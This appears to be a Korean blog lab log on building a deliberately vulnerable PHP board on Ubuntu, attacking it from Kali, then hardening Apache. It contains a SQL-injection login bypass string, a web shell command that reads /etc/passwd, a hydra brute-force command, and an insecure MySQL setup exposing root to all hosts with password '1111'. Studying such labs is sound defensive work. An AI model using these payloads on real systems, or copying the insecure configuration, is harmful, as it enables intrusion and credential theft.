Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

클라우드 엔지니어 꿈나무

보안 설정 Ubuntu 및 Kali 본문

Linux

보안 설정 Ubuntu 및 Kali

새싹싹이 2023. 10. 10. 23:05

# sudo apt install apache2 -y

# sudo apt install mysql-server -y

# sudo apt install php php-mysql -y

# sudo mysql

GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost';
UPDATE mysql.user SET host='%' WHERE user='root';
update mysql.user set plugin='mysql_native_password' where User='root';
FLUSH PRIVILEGES;
ALTER USER 'root'@'%' IDENTIFIED BY '1111';
FLUSH PRIVILEGES;
exit

# sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf

bind-address = 0.0.0.0 으로 수정 

# cd /etc/mysql/mysql.conf.d/

# nano mysqld.cnf

# sudo systemctl restart mysql

 

php 게시판 앱 설치 

- php 게시판 앱 다운로드

# cd /var/www/html/

# sudo wget -O webhack.zip https://rb.gy/z8lf1

# sudo unzip webhack.zip

- Datavase 스키마 설치

# cd ./board

# mysql -u root -p < webhack.sql

- PHP 게시판 앱 파일 권한 이전

PHP 게시판 앱 파일 권한 이전

# sudo chown www-data:www-data -R /var/www/html/board

 

 

 

하기와 같이 우분투는 오류 페이지에 웹 서버의 정보가 기본적으로 노출되기 때문에 IP 주소 같은 정보가 출력

Kali

Firefox 내 10.0.2.11/boards/pds/

10.0.2.11/board

ID 와 비밀번호는 admin ' or '='-' 로 설정하여 하기와 같이 진행하면 로그인 가능

타 비밀번호 입력 시, 접속이 안되는 것 확인

XSS  - 파일 업로드 attack

하기와 같이 게시판 글 작성

해당 글을 클릭하면 하기와 같이 알림창이 뜸 

게시판에 자바스크립트(JavaScript) 코드를 입력하고 작동하는 경우 XSS 취약점이 존재한다고 볼 수 있기 때문에 웹 애플리케이션에서 입력 값에 자바스크립트나 HTML 태그 등을 사용하지 못하게 방지해야 함

파일 유형을 검증할 수 있도록 web shell 업로드

http://10.0.2.11/board/pds/webshell.php

공란에 하기 명령어 입력

pwd ; echo --------; cat /etc/os-release ; echo --------; cat /etc/passwd

 

 

 

 

Brute force attack

단순하게 특정 계정에 대해 로그인을 수없이 시도하는 것 

# wget https://github.com/github2ygl/safehack/raw/main/password.txt => password.txt 다운로드 

# hydra -l admin -P ./password.txt 10.0.2.11 http-post-form "/board/login_chk.php:id=^USER^&pw=^PASS^:fail" -VF => 무차별 공격 시작

하기와 같이 아이디 : admin, 패스워드:  admin1234 로 로그인이 가능하다는 것을 볼 수 있음.

무차별 공격으로 로그인 시도 성공

Apache 웹 서버는 access log 및 error log 기록

cat /var/log/apache2/access.log => 접근 로그로 해킹 시도 파악 가능

cat /var/log/apache2/error.log => 에러 로그로 해킹 시도 파악 가능

 

안전한 웹 사이트 구축

Apache 디렉토리 리스팅과 Sybolic links 비활성화

디렉터리 리스팅의 취약점 :  허가 권한이 없는 외부 사용자가 유출되어서는 안 되는 내부 파일 등에 접근하기 위해 URL을 조작하여 디렉터리나 폴더의 구조를 직접 이용해 접근하는 것이 가능

ubuntu@target:

# sudo nano /etc/apache2/apache2.conf

하기와 같이 수정

# sudo systemctl restart apache2

Kali firefox

 

Apache 서버 정보 노출 방지

Ubuntu 서버의 IP 주소 10.0.2.11 을 표시지 않도록 설정

ubuntu@target:

# sudo nano  /etc/apache2/apache2.conf

맨 하단에 하기 두 줄 추가

# systemctl restart apache2

Kali firefox

 

Forbidden 표시를 안 하고 404 error 가 출력되게 설정

커스텀 에러 페이지 생성

ubuntu@target:

# cd /var/www/html/

# sudo nano 404.html

<h1 style='color:red'>Error 404: Not found :-(</h1> 작

# sudo nano /etc/apache2/apache2.conf

맨 하단에 하기 한 줄 추가

# sudo systemctl restart apache2